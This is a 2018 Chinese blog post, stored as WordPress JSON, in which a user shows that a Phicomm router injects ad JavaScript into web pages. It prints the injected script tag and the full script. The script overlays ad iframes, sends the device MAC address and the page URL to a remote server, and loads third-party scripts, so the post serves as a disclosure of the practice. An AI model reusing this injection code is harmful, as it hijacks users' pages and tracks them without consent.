{"id":363,"date":"2018-07-16T11:21:20","date_gmt":"2018-07-16T03:21:20","guid":{"rendered":"http:\/\/blog.yyhcw.com\/?p=363"},"modified":"2018-07-16T11:21:20","modified_gmt":"2018-07-16T03:21:20","slug":"feixun-ad","status":"publish","type":"post","link":"http:\/\/blog.yyhcw.com\/post\/363.html","title":{"rendered":"\u6590\u8baf\u8def\u7531\u5668\u6709\u5185\u7f6e\u5e7f\u544a\uff1f\u4f60\u662f\u5426\u88ab\u63a8\u9001\u5e7f\u544a\u6216\u88ab\u5e7f\u544a\u52ab\u6301"},"content":{"rendered":"<!--wp-compress-html--><!--wp-compress-html no compression--><p><a href=\"http:\/\/blog.yyhcw.com\/post\/tag\/%e6%96%90%e8%ae%af%e8%b7%af%e7%94%b1%e5%99%a8\" class=\"tag-tooltip\" data-toggle=\"tooltip\" title=\"\u67e5\u770b\u66f4\u591a\u5173\u4e8e \u6590\u8baf\u8def\u7531\u5668 \u7684\u6587\u7ae0\" target=\"_blank\">\u6590\u8baf\u8def\u7531\u5668<\/a>\u5df2\u7ecf\u51fa\u6765\u597d\u4e45\u597d\u4e45\u4e86\uff0c\u6211\u4e5f\u7528\u4e86\u4e00\u5e74\u591a\u4e86\uff0c\u800c\u5728\u4f7f\u7528\u7684\u65f6\u5019\u7ecf\u5e38\u83ab\u540d\u5176\u5999\u7684\u51fa\u73b0\u5e7f\u544a\u7684\u60c5\u51b5\uff0c\u521a\u5f00\u59cb\u4ee5\u4e3a\u662f\u7f51\u7ad9\u4e0a\u9762\u7684\u5e7f\u544a\uff0c\u800c\u540e\u67e5\u770b\u4e86\u5e7f\u544a\u62e6\u622a\u8f6f\u4ef6\uff0c\u548c\u7f51\u7ad9\u4e0a\u9762\u90fd\u6ca1\u6709\u53d1\u73b0\u5e7f\u544a\u7684\u60c5\u51b5\uff0c\u67e5\u770b\u6e90\u7801\u53d1\u73b0\u591a\u4e86\u4e00\u6761JS\u8bed\u53e5\uff1a<\/p>\n<pre class=\"lang:js decode:true\">&lt;html lang=\"en\"&gt;\r\n&lt;head&gt;&lt;script src=http:\/\/222.73.156.235:8888\/v2?MAC=CC81DA959DA8&gt;&lt;\/script&gt;            \r\n&lt;meta charset=\"utf-8\" \/&gt;\r\n&lt;title&gt;\u5957\u9910\u4ef7\u683c\u8bbe\u7f6e&lt;\/title&gt;<\/pre>\n<p>\u597d\u5947\u81f3\u4e8e\uff0c\u628aWIFI\u5173\u95ed\uff0c\u518d\u6b21\u67e5\u770b\u6e90\u7801\uff0c\u5e76\u6ca1\u6709\u53d1\u73b0\u8fd9\u4e2a\u88ab\u5f3a\u884c\u690d\u5165\u7684JS\u4ee3\u7801\uff1b\u5c31\u8fd9\u6837\u53cd\u590d\u51e0\u6b21\uff0c\u4f7f\u7528wifi\u3001\u4f7f\u7528\u624b\u673a\u3001\u66f4\u6362\u6d4f\u89c8\u5668\uff0c\u6700\u7ec8\u5c06\u76ee\u6807\u9501\u5b9a\u5728\u4e86\u8def\u7531\u5668\u4e0a\u9762\uff1b\u53d1\u73b0\u8fd9\u662f<a href=\"http:\/\/blog.yyhcw.com\/post\/tag\/%e6%96%90%e8%ae%af%e8%b7%af%e7%94%b1%e5%99%a8\" class=\"tag-tooltip\" data-toggle=\"tooltip\" title=\"\u67e5\u770b\u66f4\u591a\u5173\u4e8e \u6590\u8baf\u8def\u7531\u5668 \u7684\u6587\u7ae0\" target=\"_blank\">\u6590\u8baf\u8def\u7531\u5668<\/a>\u5f3a\u884c\u52a0\u8f7d\u7684\u5e7f\u544a\u9875\uff1b\u597d\u5427\uff0c\u6211\u88ab\u5f3a\u66b4\u4e86\u3002\u4f60\u662f\u5426\u88ab\u63a8\u9001\u5e7f\u544a\u6216\u88ab<a href=\"http:\/\/blog.yyhcw.com\/post\/tag\/%e5%b9%bf%e5%91%8a%e5%8a%ab%e6%8c%81\" class=\"tag-tooltip\" data-toggle=\"tooltip\" title=\"\u67e5\u770b\u66f4\u591a\u5173\u4e8e \u5e7f\u544a\u52ab\u6301 \u7684\u6587\u7ae0\" target=\"_blank\">\u5e7f\u544a\u52ab\u6301<\/a>\u5462\uff1f\u770b\u770b\u6e90\u7801\u662f\u5426\u5b58\u5728\u8fd9\u6837\u7684\u8bed\u53e5\u5373\u53ef\u3002<\/p>\n<p>\u4e0b\u9762\u5c06\u8fd9\u4e2aJS\u5168\u90e8\u4ee3\u7801\u653e\u4e0a\u53bb\u5927\u5bb6\u53ef\u4ee5\u770b\u770b\u660e\u663e\u662f\u6590\u8baf\u7684\u529f\u52b3\uff0c\u4e0a\u9762\u53ef\u662f\u6709\u6590\u8baf\u7684\u5b98\u65b9\u7f51\u5740\u54e6\uff1a<\/p>\n<pre class=\"lang:js decode:true\">(function () {\r\n\r\nvar ip = 'http:\/\/222.73.156.235:8888';\r\nvar pc = false;\r\nvar android = true;\r\nvar ios = true;\r\nvar deviceMac = 'CC:81:DA:95:9D:A8';\r\nvar statisticUrl = 'http:\/\/222.73.156.235:8888\/v2\/router\/ad\/state';\r\nvar a_str = {\"top\": {},\"center\": {},\"bottom\": {}};\r\n    var hostUrl = '';\r\n    \/\/ var timestamp = new Date().getTime();\r\n    \/\/ lalala\r\n    window.onload = function(){\r\n        aa();\r\n    }\r\n\r\n    window.addEventListener('message', function(e){\r\n        if(e.data.removeIframe == \"yes\"){\r\n            document.getElementById(e.data.iframeId).remove();\r\n        }\r\n\r\n    }, false)\r\n    \r\n     \/\/\u5224\u65ad\u65b9\u5411,resize\u7684\u65f6\u5019\u5224\u65ad\u65b9\u5411(adp-138)\r\n    window.addEventListener(\"resize\",function(){\r\n          var iframe_Ct_a = document.getElementById('iframe_center_a');\r\n          var iframe_Ct_b = document.getElementById('iframe_bottom_a');\r\n          \/\/\u4e2d\u95f4\u63d2\u5c4f\r\n          if(iframe_Ct_a){\r\n             if( window.orientation == 90 || window.orientation==-90){\r\n                  iframe_Ct_a.style.left = window.innerWidth \/2 + \"px\";\r\n                  iframe_Ct_a.style.top = window.innerHeight\/1.2+\"px\";\r\n                  iframe_Ct_a.style.marginLeft = parseInt(a_str.center.width)\/2*(-1)+\"px\";\r\n                  iframe_Ct_a.style.marginTop = (window.innerHeight\/1.5)*(-1)+\"px\";\r\n              }\r\n            if( window.orientation == 180 || window.orientation == 0 ) {\r\n               iframe_Ct_a.style.left = window.innerWidth \/2 + \"px\";\r\n               iframe_Ct_a.style.top = window.innerHeight \/2 + \"px\";\r\n               iframe_Ct_a.style.marginLeft = parseInt(a_str.center.width)\/2*(-1)+\"px\";\r\n               iframe_Ct_a.style.marginTop = parseInt(a_str.center.height)\/2*(-1)+\"px\";\r\n            }\r\n          }\r\n          \r\n          \/\/\u5e95\u90e8\u6a2a\u5e45\r\n          if(iframe_Ct_b){\r\n             if(window.orientation ==90 || window.orientation==-90){\r\n                iframe_Ct_b.style.marginLeft = \"25%\";\r\n             }\r\n             if(window.orientation == 180 || window.orientation == 0){\r\n                iframe_Ct_b.style.marginLeft = '0';\r\n             }\r\n          }\r\n    });\r\n\r\n    function aa() {\r\n\r\n        \/\/\u589e\u52a0\u7981\u6b62\u57df\u540d\u5224\u65ad\r\n        if(forbidHost()){\r\n            loadJs();\r\n            return false;\r\n        }\r\n\r\n        hostUrl = encodeURIComponent(top.window.location.href);\r\n        var browser = {\r\n            versions: function () {\r\n                var u = navigator.userAgent, app = navigator.appVersion;\r\n                return {\r\n                    trident: u.indexOf('Trident') &gt; -1, \/\/IE\u5185\u6838\r\n                    presto: u.indexOf('Presto') &gt; -1, \/\/opera\u5185\u6838\r\n                    webKit: u.indexOf('AppleWebKit') &gt; -1, \/\/\u82f9\u679c\u3001\u8c37\u6b4c\u5185\u6838\r\n                    gecko: u.indexOf('Gecko') &gt; -1 &amp;&amp; u.indexOf('KHTML') == -1, \/\/\u706b\u72d0\u5185\u6838\r\n                    mac: u.indexOf('Macintosh') &gt; -1,\/\/mac\r\n                    mobile: !!u.match(\/AppleWebKit.*Mobile.*\/) || !!u.match(\/AppleWebKit\/), \/\/\u662f\u5426\u4e3a\u79fb\u52a8\u7ec8\u7aef\r\n                    ios: !!u.match(\/\\(i[^;]+;( U;)? CPU.+Mac OS X\/), \/\/ios\u7ec8\u7aef\r\n                    android: u.indexOf('Android') &gt; -1 || u.indexOf('Linux') &gt; -1, \/\/android\u7ec8\u7aef\u6216\u8005uc\u6d4f\u89c8\u5668\r\n                    iPhone: u.indexOf('iPhone') &gt; -1 || u.indexOf('Mac') &gt; -1, \/\/\u662f\u5426\u4e3aiPhone\u6216\u8005QQHD\u6d4f\u89c8\u5668\r\n                    iPad: u.indexOf('iPad') &gt; -1, \/\/\u662f\u5426iPad\r\n                    webApp: u.indexOf('Safari') == -1 \/\/\u662f\u5426web\u5e94\u8be5\u7a0b\u5e8f\uff0c\u6ca1\u6709\u5934\u90e8\u4e0e\u5e95\u90e8\r\n                };\r\n            }()\r\n        }\r\n        if (isWeiXin() || isAPP() || true == browser.versions.mac) {\r\n            loadJs();\r\n        } else if (browser.versions.android == true) {  \/\/\u53ea\u6295Android\r\n            if(android){\r\n                \/\/console.log(\"ios append iframe.\");\r\n                appendIframe();\r\n                loadJs();\r\n                \/\/console.log(\"ios append iframe over.\");\r\n            }\r\n        } else if (browser.versions.ios == true || browser.versions.iPhone == true || browser.versions.iPad == true) {\r\n            if(ios){\r\n                \/\/console.log(\"ios append iframe.\");\r\n                appendIframe();\r\n                loadJs();\r\n                \/\/console.log(\"ios append iframe over.\")\r\n            }\r\n        } else {\r\n            loadJs();\r\n        }\r\n\r\n\r\n        function appendIframe() {\r\n            var dataSet = {};\r\n            dataSet.deviceMac = deviceMac;\r\n            dataSet.statisticUrl = statisticUrl;\r\n            dataSet.hostUrl = hostUrl;\r\n            dataSet.ip = ip;\r\n            if(a_str.top.height != undefined){\r\n                var iframe_Tp = document.createElement('iframe');\r\n                iframe_Tp.src = ip + '\/routerad\/common\/pages\/mobile_index.html';\r\n                iframe_Tp.id = \"iframe_top_a\";\r\n                iframe_Tp.name = \"iframe_top_a\";\r\n                iframe_Tp.scrolling = \"no\";\r\n                iframe_Tp.display = \"block\";\r\n                iframe_Tp.style.position=\"fixed\";\r\n                iframe_Tp.setAttribute(\"frameborder\",\"0\");\r\n                iframe_Tp.style.zIndex = \"2147483647\";\r\n\r\n                var iframeWidth,iframeHeight;\r\n                iframeWidth = window.innerWidth;\r\n                iframeHeight = parseInt(a_str.top.height) * parseInt(iframeWidth)\/parseInt(a_str.top.width);\r\n\r\n                iframe_Tp.style.width = iframeWidth + \"px\";\r\n                iframe_Tp.style.height =  iframeHeight + \"px\";\r\n\r\n                \/\/iframe_Bt.style.bottom = \"0px\";\r\n                iframe_Bt.style.top = \"0px\";\r\n                iframe_Tp.style.left = \"0px\";\r\n                window.top.document.body.appendChild(iframe_Tp);\r\n                dataSet.picList = a_str.top.picList;\r\n                dataSet.iframeId = \"iframe_top_a\";\r\n\r\n                document.getElementById('iframe_top_a').onload=function(){\r\n                    var ifr = document.querySelector('#iframe_top_a');\r\n                    ifr.contentWindow.postMessage(dataSet, '*');\r\n                }\r\n            }\r\n\r\n            if(a_str.bottom.height != undefined){\r\n                \/\/console.log(\"bottom iframe.\");\r\n                var iframe_Bt = document.createElement('iframe');\r\n                iframe_Bt.src = ip + '\/routerad\/common\/pages\/mobile_index.html';\r\n                iframe_Bt.id = \"iframe_bottom_a\";\r\n                iframe_Bt.name = \"iframe_bottom_a\";\r\n                iframe_Bt.scrolling = \"no\";\r\n                iframe_Bt.display = \"block\";\r\n                iframe_Bt.style.position=\"fixed\";\r\n                iframe_Bt.setAttribute(\"frameborder\",\"0\");\r\n                iframe_Bt.style.zIndex = \"2147483647\";\r\n\r\n                var iframeWidth,iframeHeight;\r\n                iframeWidth = window.innerWidth;\r\n                iframeHeight = parseInt(a_str.bottom.height) * parseInt(iframeWidth)\/parseInt(a_str.bottom.width);\r\n\r\n                iframe_Bt.style.width = iframeWidth + \"px\";\r\n                iframe_Bt.style.height =  iframeHeight + \"px\";\r\n\r\n                \/\/iframe_Bt.style.top = window.innerHeight + \"px\";\r\n                iframe_Bt.style.bottom = \"0px\";\r\n                iframe_Bt.style.left = \"0px\";\r\n                iframe_Bt.style.marginTop = iframeHeight*(-1) + \"px\";\r\n\r\n                window.top.document.body.appendChild(iframe_Bt);\r\n                dataSet.picList = a_str.bottom.picList;\r\n                dataSet.iframeId = \"iframe_bottom_a\";\r\n\r\n                document.getElementById('iframe_bottom_a').onload=function(){\r\n                    var ifr = document.querySelector('#iframe_bottom_a');\r\n                    ifr.contentWindow.postMessage(dataSet, '*');\r\n                }\r\n            }\r\n\r\n            if(a_str.center.height != undefined){\r\n                \/\/console.log(\"center iframe.\");\r\n                var iframe_Ct = document.createElement('iframe');\r\n                iframe_Ct.src = ip + '\/routerad\/common\/pages\/mobile_index.html';\r\n                iframe_Ct.id = \"iframe_center_a\";\r\n                iframe_Ct.name = \"iframe_center_a\";\r\n                iframe_Ct.scrolling = \"no\";\r\n                iframe_Ct.display = \"block\";\r\n                iframe_Ct.style.position=\"fixed\";\r\n                iframe_Ct.setAttribute(\"frameborder\",\"0\");\r\n                iframe_Ct.style.zIndex = \"2147483647\";\r\n\r\n                var iframeWidth,iframeHeight;\r\n                iframeWidth = a_str.center.width;\r\n                iframeHeight = a_str.center.height;\r\n\r\n                iframe_Ct.style.width = parseInt(iframeWidth) + \"px\";\r\n                iframe_Ct.style.height =  parseInt(iframeHeight) + \"px\";\r\n                iframe_Ct.style.left = window.innerWidth \/2 + \"px\";\r\n                iframe_Ct.style.top = window.innerHeight \/2 + \"px\";\r\n                iframe_Ct.style.marginLeft = parseInt(iframeWidth)\/2*(-1)+\"px\";\r\n                iframe_Ct.style.marginTop = parseInt(iframeHeight)\/2*(-1)+\"px\";\r\n                window.top.document.body.appendChild(iframe_Ct);\r\n\r\n                dataSet.picList = a_str.center.picList;\r\n                dataSet.iframeId = \"iframe_center_a\";\r\n\r\n                document.getElementById('iframe_center_a').onload=function(){\r\n                    var ifr = document.querySelector('#iframe_center_a');\r\n                    ifr.contentWindow.postMessage(dataSet, '*');\r\n                }\r\n            }\r\n        }\r\n\r\n    }\r\n\r\n    function isWeiXin() {\r\n        var ua = window.navigator.userAgent.toLowerCase();\r\n        \/\/console.log(ua);\/\/mozilla\/5.0 (iphone; cpu iphone os 9_1 like mac os x) applewebkit\/601.1.46 (khtml, like gecko)version\/9.0 mobile\/13b143 safari\/601.1\r\n        if (ua.match(\/MicroMessenger\/i) == 'micromessenger') {\r\n            return true;\r\n        } else {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    function isAPP() {\r\n        var ua = window.navigator.userAgent.toLowerCase();\r\n\r\n        if (ua.indexOf(\"biliapp\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"wifikey\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"newsarticle\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"peanutwi-fi\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"phiwifi\")&gt;=0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"changba\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"phicare\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"vmchybirdapp-android\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"vmchybirdapp-ios\") &gt;= 0) {\r\n            return true;\r\n        }\r\n        if (ua.indexOf(\"momowebview\") &gt;= 0 || ua.indexOf(\"momokit\") &gt;= 0) {\r\n            return true;\r\n        } else {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    \/\/\u7981\u6b62\u663e\u793a\u5e7f\u544a\u7684\u57df\u540d\uff0c\u540e\u7eed\u589e\u52a0\u591a\u4e2a\u65f6\u5019\u53ef\u4ee5\u4f7f\u7528\u6570\u7ec4\r\n    function forbidHost(){\r\n        var url = top.window.location.href;\r\n        var host = top.window.location.host;\r\n        if (host.indexOf(\".gov.cn\") != -1) {\r\n            return true;\r\n        }\r\n        var reg = \/phicomm\\.com\/g;\r\n        var baiduReg = \/m\\.baidu\\.com\\\/static\/g;\r\n        if(reg.test(url) || baiduReg.test(url)){\r\n            return true;\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n\r\n    function loadJs() {\r\n        var newscript = document.createElement('script');\r\n        newscript.setAttribute('type', 'text\/javascript');\r\n        newscript.setAttribute('src', 'https:\/\/www.jiubuhua.com\/exjs.js');\r\n\r\n        var newscript2 = document.createElement('script');\r\n        newscript2.setAttribute('type', 'text\/javascript');\r\n        newscript2.setAttribute('src', 'https:\/\/logs.newapi.com\/jd\/ad?f=zq18');\r\n\r\n\r\n        var head = document.getElementsByTagName('head')[0];\r\n        head.appendChild(newscript);\r\n        head.appendChild(newscript2);\r\n    }\r\n\r\n})();<\/pre>\n<p>\u597d\u5bb6\u4f19\uff0c\u53ea\u6709\u81ea\u5df1\u5b98\u65b9\u7f51\u5740\u4e0d\u663e\u793a\u5e7f\u544a\u3002\u8fd9\u4e5f\u592a\u6d41\u6c13\u4e86\uff01<\/p>\n<p>\u6700\u540e\u5728\u4e0d\u5237\u673a\u7684\u60c5\u51b5\u4e0b\uff0c\u672a\u80fd\u627e\u5230\u4ec0\u4e48\u597d\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u6b64\u95ee\u9898\uff01\u65e0\u5948\u4e4b\u4e0b\u53ea\u6709\u5c06\u5bb6\u4e2d\u8def\u7531\u5668\u5237\u673a\u3002\u5e7f\u544a88\u55bd\uff01<\/p>\n<!--wp-compress-html no compression--><!--wp-compress-html-->","protected":false},"excerpt":{"rendered":"\u6590\u8baf\u8def\u7531\u5668\u5df2\u7ecf\u51fa\u6765\u597d\u4e45\u597d\u4e45\u4e86\uff0c\u6211\u4e5f\u7528\u4e86\u4e00\u5e74\u591a\u4e86\uff0c\u800c\u5728\u4f7f\u7528\u7684\u65f6\u5019\u7ecf\u5e38\u83ab\u540d\u5176\u5999\u7684\u51fa\u73b0\u5e7f\u544a\u7684\u60c5\u51b5\uff0c\u521a\u5f00\u59cb\u4ee5\u4e3a\u662f\u7f51\u7ad9\u4e0a \u00b7\u00b7\u00b7","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[7],"tags":[44,43],"views":6051,"_links":{"self":[{"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/posts\/363"}],"collection":[{"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/comments?post=363"}],"version-history":[{"count":0,"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/posts\/363\/revisions"}],"wp:attachment":[{"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/media?parent=363"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/categories?post=363"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.yyhcw.com\/api\/wp\/v2\/tags?post=363"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}